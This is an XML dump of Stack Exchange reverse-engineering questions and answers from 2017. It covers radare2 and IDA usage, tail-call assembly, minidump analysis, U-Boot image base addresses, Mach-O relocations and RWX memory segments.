  <row Id="15244" PostTypeId="1" CreationDate="2017-04-28T07:53:25.177" Score="9" ViewCount="31841" Body="&lt;p&gt;I have a cgywin executable file (shall be in PE format) and would like to disassemble it to get the assembly code on the text section using radare2, most of the examples disassemble per instruction instead of a whole file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typed &lt;code&gt;radare2 filename&lt;/code&gt; then, &lt;code&gt;pdf&lt;/code&gt;, it said&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p:Cannot find function at 0x100401000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="19508" LastEditorUserId="53" LastEditDate="2017-04-28T12:40:43.853" LastActivityDate="2023-01-06T05:00:32.250" Title="How to use radare2 to disassemble an executable file?" Tags="|disassembly|radare2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15245" PostTypeId="2" ParentId="15244" CreationDate="2017-04-28T08:43:23.213" Score="15" Body="&lt;p&gt;First, you have to understand that the &lt;code&gt;pdf&lt;/code&gt; command is used to disassemble functions, so you first have to look for function starting points (I think that they are using symbols and some others heuristics to find it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an automatic analysis of the functions, just type &lt;code&gt;aaa&lt;/code&gt; first. It will run most of the required analysis on the executable. Then, type &lt;code&gt;pdf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want a raw disassembly without function analysis, then type just &lt;code&gt;pd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic behind the radare commands is that each character of the command has a meaning and build tree-like command family. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the '&lt;code&gt;p&lt;/code&gt;' is for the 'printing' command family. Try to type &lt;code&gt;p?&lt;/code&gt;, you will get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; p?&#xA;|Usage: p[=68abcdDfiImrstuxz] [arg|len] [@addr]&#xA;| p=[?][bep] [blks] [len] [blk]  show entropy/printable chars/chars bars&#xA;| p2 [len]                       8x8 2bpp-tiles&#xA;| p3 [file]                      print stereogram (3D)&#xA;| p6[de] [len]                   base64 decode/encode&#xA;| p8[?][j] [len]                 8bit hexpair list of bytes&#xA;| pa[edD] [arg]                  pa:assemble  pa[dD]:disasm or pae: esil from hexpairs&#xA;| pA[n_ops]                      show n_ops address and type&#xA;| p[b|B|xb] [len] ([skip])       bindump N bits skipping M&#xA;| pb[?] [n]                      bitstream of N bits&#xA;| pB[?] [n]                      bitstream of N bytes&#xA;| pc[?][p] [len]                 output C (or python) format&#xA;| pC[d] [rows]                   print disassembly in columns (see hex.cols and pdi)&#xA;| pd[?] [sz] [a] [b]             disassemble N opcodes (pd) or N bytes (pD)&#xA;| pf[?][.nam] [fmt]              print formatted data (pf.name, pf.name $&amp;lt;expr&amp;gt;)&#xA;| ph[?][=|hash] ([len])          calculate hash for a block&#xA;| p[iI][df] [len]                print N ops/bytes (f=func) (see pi? and pdi)&#xA;| pm[?] [magic]                  print libmagic data (see pm? and /m?)&#xA;| pr[?][glx] [len]               print N raw bytes (in lines or hexblocks, 'g'unzip)&#xA;| p[kK] [len]                    print key in randomart (K is for mosaic)&#xA;| ps[?][pwz] [len]               print pascal/wide/zero-terminated strings&#xA;| pt[?][dn] [len]                print different timestamps&#xA;| pu[?][w] [len]                 print N url encoded bytes (w=wide)&#xA;| pv[?][jh] [mode]               show variable/pointer/value in memory&#xA;| p-[?][jh] [mode]               bar|json|histogram blocks (mode: e?search.in)&#xA;| px[?][owq] [len]               hexdump of N bytes (o=octal, w=32bit, q=64bit)&#xA;| pz[?] [len]                    print zoom view (see pz? for help)&#xA;| pwd                            display current working directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the second letter (&lt;code&gt;d&lt;/code&gt;) stands for 'disassemble', try &lt;code&gt;pd?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00005430]&amp;gt; pd?&#xA;|Usage: p[dD][ajbrfils] [sz] [arch] [bits] # Print Disassembly&#xA;| NOTE: len  parameter can be negative&#xA;| NOTE:      Pressing ENTER on empty command will repeat last pd command and also seek to end of disassembled range.&#xA;| pd N       disassemble N instructions&#xA;| pd -N      disassemble N instructions backward&#xA;| pD N       disassemble N bytes&#xA;| pda        disassemble all possible opcodes (byte per byte)&#xA;| pdb        disassemble basic block&#xA;| pdc        pseudo disassembler output in C-like syntax&#xA;| pdC        show comments found in N instructions&#xA;| pdk        disassemble all methods of a class&#xA;| pdj        disassemble to json&#xA;| pdr        recursive disassemble across the function graph&#xA;| pdf        disassemble function&#xA;| pdi        like 'pi', with offset and bytes&#xA;| pdl        show instruction sizes&#xA;| pds[?]     disassemble summary (strings, calls, jumps, refs) (see pdsf and pdfs)&#xA;| pdt        disassemble the debugger traces (see atd)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;pdf&lt;/code&gt; stands for 'disassemble function'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you want a raw disassembly of a memory area, then &lt;code&gt;pd&lt;/code&gt; is probably what you need. It disassembly blindly from the current address up to a certain windows of memory. If you want to disassemble at a precise address, then use &lt;code&gt;pd @0xdeadbeef&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-04-28T08:50:44.913" LastActivityDate="2017-04-28T08:50:44.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15247" PostTypeId="1" AcceptedAnswerId="15249" CreationDate="2017-04-28T18:54:44.747" Score="0" ViewCount="154" Body="&lt;p&gt;I'm using at&amp;amp;t ordering&#xA;I came across this a little while ago and while i understand why we want to push a stack frame when we call a new routine I don't see why it was done here:   (for the example i'm looking at static code and the jmp address is just an example and arbritrary)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pushq %rbp&#xA;movq %rsp, %rbp&#xA;pop %rbp&#xA;jmp $0x10002135a&#xA;nopw(%rax, %rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so It turns out the next instruction after the nop is a new function entry so I surmise the nop stuff was done to achieve some sort of alignment.  When I go and look at the jumped address I get a real stack frame (standard series of pushes, register saves, etc and at the end of the function standard pops and does the retq.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What did we gain by doing the push/pop sequence?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing i can think of is because it does the pop before the jump is that when the other does the retq it might be returning to the rbp prior to this little bit of code.  It's as if this little bit of jmp code never existed?  if so why have this little bit of code here in the first place?  Or perhaps at runtime the jmp address will occupy more bytes and spill into the nopw area?  just guessing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It almost looks like its a template or a macro that is doing nothing since the pop is restoring the original base pointer that was saved.  Or is this more along the lines of the compiler trying to get things aligned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We got to this point via a jmp.&lt;/p&gt;&#xA;" OwnerUserId="17024" LastActivityDate="2017-04-28T19:36:07.840" Title="whats the purpose of this code snippet?" Tags="|assembly|osx|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15249" PostTypeId="2" ParentId="15247" CreationDate="2017-04-28T19:36:07.840" Score="2" Body="&lt;p&gt;This is most likely an optimized &lt;a href=&quot;https://en.wikipedia.org/wiki/Tail_call&quot; rel=&quot;nofollow noreferrer&quot;&gt;tail call&lt;/a&gt;. The original code probably looked similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int f1()&#xA;{&#xA;//some code which was optimized out&#xA;  return f2();// &amp;amp;f2=0x10002135a&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since there is no code after calling &lt;code&gt;f2&lt;/code&gt;, there is no need to perform any additional actions, so the compiler &lt;em&gt;restored the original stack pointer&lt;/em&gt; and &lt;em&gt;jumped&lt;/em&gt; to &lt;code&gt;f2&lt;/code&gt; instead of performing the call. Since the stack was restored, the address of return from &lt;code&gt;f1&lt;/code&gt; is at the top of the stack, so when &lt;code&gt;f2&lt;/code&gt; returns, it will &lt;em&gt;return to the place &lt;code&gt;f1&lt;/code&gt; was called from&lt;/em&gt;. This trick saves a few instructions compared to the non-optimized &quot;call f2 then return&quot; sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the compiler could also just remove all stack manipulation completely and leave just the jump, but possibly some other considerations prevented that (e.g. frame pointer omission optimization was turned off which made it insert &lt;code&gt;ebp&lt;/code&gt; initialization in all functions, even those not using it).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-28T19:36:07.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15250" PostTypeId="1" AcceptedAnswerId="15255" CreationDate="2017-04-29T19:16:14.613" Score="2" ViewCount="1505" Body="&lt;p&gt;Today I used IDA on a owned compiled software.&#xA;I notice that IDA show me comment (ascii char) on immediates values as on this screenshoot below :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WghPl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WghPl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first time I saw it automaticaly. What is the option the enable it ? Most of the time I must add ascii value comment manually...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="19723" LastActivityDate="2017-04-30T05:02:59.610" Title="IDA, how to show ascii comment on immediate values?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15252" PostTypeId="1" AcceptedAnswerId="15253" CreationDate="2017-04-30T01:00:24.520" Score="0" ViewCount="962" Body="&lt;p&gt;I'm trying to reverse engineer an online game (Dota 2) to get some more info and build a personal assistant with friendlier/ advanced info about my character. First I'm trying to find out the player location on the map. I thought of trying to read and profile the client.exe to find where in the memory it stores the character location, but I truly don't know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can run it with OllyDbg and start looking for changing values as the character moves, but since many other values in the game also change, it would take me days to find out which is it. So I figured maybe there is a better way. How to get started with this?&lt;/p&gt;&#xA;" OwnerUserId="13345" LastActivityDate="2017-12-31T18:13:34.153" Title="How to reverse Engineer a game character position on a map" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15253" PostTypeId="2" ParentId="15252" CreationDate="2017-04-30T01:09:14.897" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt; is usually the tool of choice for those kind of tasks. It lets you scan memory of a process in multiple stages and rule out the dozens of fitting memory addresses using several scans and value matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheat Engine is a great tool for identification of memory structures and is heavily used in the first steps of creating game cheats and trainers. It is quite intuitive to use and you should definitely check it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write more about it but it'll be easier to just download it and try for yourself.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-30T09:11:29.037" LastActivityDate="2017-04-30T09:11:29.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15255" PostTypeId="2" ParentId="15250" CreationDate="2017-04-30T05:02:59.610" Score="2" Body="&lt;p&gt;You need to enable &quot;auto comments&quot; &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1369.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1369.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW you can write your own auto-commenting scripts like &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/idc/autocomment.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/idc/autocomment.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-04-30T05:02:59.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15257" PostTypeId="1" CreationDate="2017-04-30T19:55:04.853" Score="1" ViewCount="436" Body="&lt;p&gt;I have a program written in c++, it's compiled with Visual Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mini dump file of a running process (process generates it using winapi MiniDumpWriteDump function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have several memory addresses - they should correspond to addresses of my c++ functions/methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have *.pdb file - debug information generated by Visual Studio during compilation of my program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to find out which functions correspond to the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1: Do I have enough data? Is minidump, *.pdb file and address is enough to find out function name (and it's location in source code)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2: I need to automate this process. I will have to write a script (hope it will be a python script) which will do the job. Can anyone suggest appropriate python tools?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Originally I posted this question on stackoverflow, but looks like it's better suited here)&lt;/p&gt;&#xA;" OwnerUserId="20035" LastActivityDate="2017-07-31T14:11:45.577" Title="Need script to analyze process dump file (windows)" Tags="|windows|dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15258" PostTypeId="2" ParentId="9209" CreationDate="2017-05-01T07:24:26.297" Score="1" Body="&lt;p&gt;If you want to learn reverse engineering on Linux, I highly recommend: Learning Linux Binary Analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the only book (that I know of) that goes in depth on the ELF format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1782167102&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/Learning-Binary-Analysis-elfmaster-ONeill/dp/1782167102/ref=sr_1_1?ie=UTF8&amp;amp;qid=1493623237&amp;amp;sr=8-1&amp;amp;keywords=linux+binary+analysis&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15916" LastActivityDate="2017-05-01T07:24:26.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15260" PostTypeId="1" CreationDate="2017-05-01T10:04:57.350" Score="1" ViewCount="31" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hmSvU.jpg&quot; alt=&quot;The FFC in question&quot;&gt;&#xA;Hello!&#xA;I want to get the touch overlay of a Chromebook Pixel Display Assembly to work. I attached a picture of the Cable coming out of a mxT1664S touch controller. Can someone tell me what type of receptacle I need to make a breakout board? Also, any clues about what this cable might transfer are highly appreciated.&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="20042" LastActivityDate="2017-05-01T10:04:57.350" Title="FFC on the back of a Chromebook Pixel Display Assembly" Tags="|protocol|driver|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15262" PostTypeId="2" ParentId="9209" CreationDate="2017-05-01T15:28:06.940" Score="0" Body="&lt;p&gt;I highly recommended this position:&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1118787315&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20045" LastActivityDate="2017-05-01T15:28:06.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15264" PostTypeId="1" CreationDate="2017-05-02T10:39:54.977" Score="1" ViewCount="924" Body="&lt;p&gt;Currently I am stuck finding the base address for IDA to disassemble the boot image correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;img&lt;/code&gt; file is coming from &lt;code&gt;/dev/block/mmcblk0boot0&lt;/code&gt; (&lt;code&gt;mcc_utils&lt;/code&gt; is executing: &lt;code&gt;cat bootarea.img &amp;gt; dev/block/mmcblk0boot0&lt;/code&gt; to restore this image). And looking at the string output it shows that it prolly is U-boot &lt;code&gt;U-Boot 2011.12 (Nov 04 2016 - 12:13:11)&lt;/code&gt; and the platform is running android 4.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CtDt1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtDt1.png&quot; alt=&quot;Start of image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image starts with &lt;code&gt;0x19034&lt;/code&gt; and then zero's until &lt;code&gt;0x200&lt;/code&gt; which seem to contain some sort of checksum.Then at &lt;code&gt;0x600&lt;/code&gt; certain address appear all starting with &lt;code&gt;0xE004xxxx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;0x660&lt;/code&gt; the first opcodes seem to placed and just before that &lt;code&gt;0xBACODE&lt;/code&gt; is shown 3 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to drop the image file until &lt;code&gt;0x600&lt;/code&gt; and several different base addresses. But I don't seem to be able to get all offset correctly in IDA. There are a lot of strings at the bottom which could be matched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image file can be downloaded &lt;a href=&quot;https://ufile.io/18rbo&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone can help me finding the correct offset and base address.&lt;/p&gt;&#xA;" OwnerUserId="20054" LastEditorUserId="53" LastEditDate="2017-05-02T12:50:06.260" LastActivityDate="2017-12-12T03:47:10.127" Title="Finding base address U-boot Android image from /dev/block/mmcblk0boot0" Tags="|ida|disassembly|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15265" PostTypeId="2" ParentId="15257" CreationDate="2017-05-02T12:54:23.683" Score="1" Body="&lt;p&gt;If you really want to do the whole thing yourself, you need to use the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff540534&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugger Engine APIs&lt;/a&gt;, in particular &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff542783&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;OpenDumpFile&lt;/code&gt; and friends&lt;/a&gt;. If you only need to automate it but no particular requirements for programming it on your own, I would suggest just using windbg with some scripts (maybe PyKd framework).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-02T12:54:23.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15266" PostTypeId="1" AcceptedAnswerId="15267" CreationDate="2017-05-02T17:26:25.300" Score="2" ViewCount="525" Body="&lt;p&gt;I'm reversing few iOS Mach-O application executables these days and all of them use Position-independent code (PIC; the MH_PIC flag is set). I've been expecting a large number of relocation entries (just like with Windows PE or Android ELF) but all the executables contain zero relocations (well, at least the &lt;code&gt;__text&lt;/code&gt; section I'm interested in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;oficial docs&lt;/a&gt; say that this is because the segments are always located at a constant offset from each other and that makes sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, can I take this for granted? Do all typical iOS applications contain no relocations because all the code and data are usually located in one binary (i. e., dynamic libraries are usually not used)?&lt;/p&gt;&#xA;" OwnerUserId="4192" LastEditorUserId="60" LastEditDate="2017-05-03T13:43:54.697" LastActivityDate="2017-05-03T13:43:54.697" Title="iOS Position-independent code and relocations" Tags="|ios|mach-o|pie|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15267" PostTypeId="2" ParentId="15266" CreationDate="2017-05-02T18:22:18.210" Score="3" Body="&lt;p&gt;The Mach-O format does support relocations but they appear rarely outside of the object files; usually linker does pretty good job using PIC addressing inside the final linked module. &#xA;As for imports from other libraries on iOS, they don't use relocations anymore but special tables handled by the dynamic loader (dyld). I've described how they work &lt;a href=&quot;https://stackoverflow.com/a/8836580&quot;&gt;previously&lt;/a&gt;. For even more gruesome details see dyld sources and inspect actual binaries. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-05-02T18:22:18.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15268" PostTypeId="1" CreationDate="2017-05-03T08:52:36.087" Score="0" ViewCount="771" Body="&lt;p&gt;I am trying to debug android native library using ida demo version everything otherthing is working except some one I can't find android_server file for keeping on android device and can't see the debugger menu. I tried to follow many posts.&lt;/p&gt;&#xA;" OwnerUserId="20017" LastActivityDate="2017-09-03T14:38:42.423" Title="How can I debug android native library with ida demo?" Tags="|ida|android|shared-object|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15270" PostTypeId="1" AcceptedAnswerId="15272" CreationDate="2017-05-03T18:18:22.670" Score="2" ViewCount="2707" Body="&lt;p&gt;In windows and linux x86 (including x86_64) world, is there any legitimate binary (i.e., a program binary generated by the typical compiling-assembling-linking flow and no manual editing on binary after it is generated) that will have RWX memory pages after being loaded? If yes, what are the use cases?&lt;/p&gt;&#xA;" OwnerUserId="4216" LastEditorUserId="4216" LastEditDate="2017-05-04T05:35:45.307" LastActivityDate="2017-05-05T23:15:04.913" Title="legitimate memory pages that are marked as RWX?" Tags="|x86|memory|binary|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15271" PostTypeId="2" ParentId="4040" CreationDate="2017-05-03T20:28:56.877" Score="0" Body="&lt;p&gt;Regarding the disassembling part,  you may want to check &lt;strong&gt;JEB&lt;/strong&gt; (version &gt;= 2.3.0), which provides advanced disassembly and decompilation of MIPS 32-bit code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MIPS debugger is only available for Android Linux though, so you won't be able to debug your program using this tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a demo available on &lt;a href=&quot;https://www.pnfsoftware.com/jeb2/mips&quot; rel=&quot;nofollow noreferrer&quot;&gt;PNF Software's website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1314" LastActivityDate="2017-05-03T20:28:56.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15272" PostTypeId="2" ParentId="15270" CreationDate="2017-05-03T20:36:07.153" Score="2" Body="&lt;p&gt;&lt;em&gt;Note: this answer corresponds to the &lt;a href=&quot;https://reverseengineering.stackexchange.com/revisions/15270/1&quot;&gt;original question&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Process segment permissions may vary across architectures and implementations. For example, it is expected that on more recent x86 Linux systems that GCC creates binaries with non-executable stacks. In contrast with this, it used to be the case that MIPS did not even support an non-executable stack - in other words, &lt;em&gt;every&lt;/em&gt; MIPS binary had its stack permissions set to RWE.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MIPS floating point support requires that any instruction that cannot&#xA;  be directly executed by the FPU, be emulated by the kernel.  Part of&#xA;  this emulation involves executing non-FPU instructions that fall in&#xA;  the delay slots of FP branch instructions.  &lt;strong&gt;Since the beginning of&#xA;  MIPS/Linux time, this has been done by placing the instructions on the&#xA;  userspace thread stack, and executing them there&lt;/strong&gt;, as the instructions&#xA;  must be executed in the MM context of the thread receiving the&#xA;  emulation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because of this, &lt;strong&gt;the de facto MIPS Linux userspace ABI requires that&#xA;  the userspace thread have an executable stack&lt;/strong&gt;.  It is de facto,&#xA;  because it is not written anywhere that this must be the case, but it&#xA;  is never the less a requirement.&lt;sup&gt;&lt;a href=&quot;https://patchwork.kernel.org/patch/5039371/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A kernel patch had to be developed in order to support MIPS executable stack protection:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following series implements an executable stack protection in MIPS.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It sets up a per-thread 'VDSO' page and appropriate TLB support.&#xA;  Page is set write-protected from user and is maintained via kernel VA.&#xA;  MIPS FPU emulation is shifted to new page and stack is relieved for&#xA;  execute protection as is as all data pages in default setup during ELF&#xA;  binary initialization. The real protection is controlled by GLIBC and&#xA;  it can do stack protected now as it is done in other architectures and&#xA;  I learned today that GLIBC team is ready for this.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: actual execute-protection depends from HW capability, of course.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This patch is required for MIPS32/64 R2 emulation on MIPS R6 architecture.&lt;sup&gt;&lt;a href=&quot;https://lwn.net/Articles/653708/&quot; rel=&quot;nofollow noreferrer&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is a concrete example, using a MIPS ELF binary from a ZTE router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file cspd &#xA;cspd: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the permissions of segment &lt;code&gt;GNU_STACK&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -l cspd &#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x59d790&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x00100 0x00100 R E 0x4&#xA;  INTERP         0x000134 0x00400134 0x00400134 0x00014 0x00014 R   0x1&#xA;      [Requesting program interpreter: /lib/ld-uClibc.so.0]&#xA;  REGINFO        0x000148 0x00400148 0x00400148 0x00018 0x00018 R   0x4&#xA;  LOAD           0x000000 0x00400000 0x00400000 0x1ef050 0x1ef050 R E 0x10000&#xA;  LOAD           0x1ef050 0x005ff050 0x005ff050 0x148e2 0x2a070 RW  0x10000&#xA;  DYNAMIC        0x000160 0x00400160 0x00400160 0x00130 0x00130 RWE 0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4    &amp;lt;---&#xA;  NULL           0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4&#xA;&#xA; Section to Segment mapping:&#xA;  Segment Sections...&#xA;   00     &#xA;   01     .interp &#xA;   02     .reginfo &#xA;   03     .interp .reginfo .dynamic .hash .dynsym .dynstr .init .text .MIPS.stubs .fini .rodata &#xA;   04     .data.rel.ro .data .rld_map .got .sbss .bss &#xA;   05     .dynamic &#xA;   06     &#xA;   07     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;sub&gt;1. &lt;a href=&quot;https://patchwork.kernel.org/patch/5039371/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Patchwork MIPS: Allow FPU emulator to use non-stack area.&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;2. &lt;a href=&quot;https://lwn.net/Articles/653708/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIPS executable stack protection&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-05-03T23:46:19.070" LastActivityDate="2017-05-03T23:46:19.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15274" PostTypeId="2" ParentId="13531" CreationDate="2017-05-03T21:58:46.420" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/a0rtega/pafish&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/a0rtega/pafish&lt;/a&gt; is old but it is good tool.&#xA;&lt;a href=&quot;https://github.com/AlicanAkyol/sems&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/AlicanAkyol/sems&lt;/a&gt; is current. You can use it.&lt;/p&gt;&#xA;" OwnerUserId="20073" LastActivityDate="2017-05-03T21:58:46.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
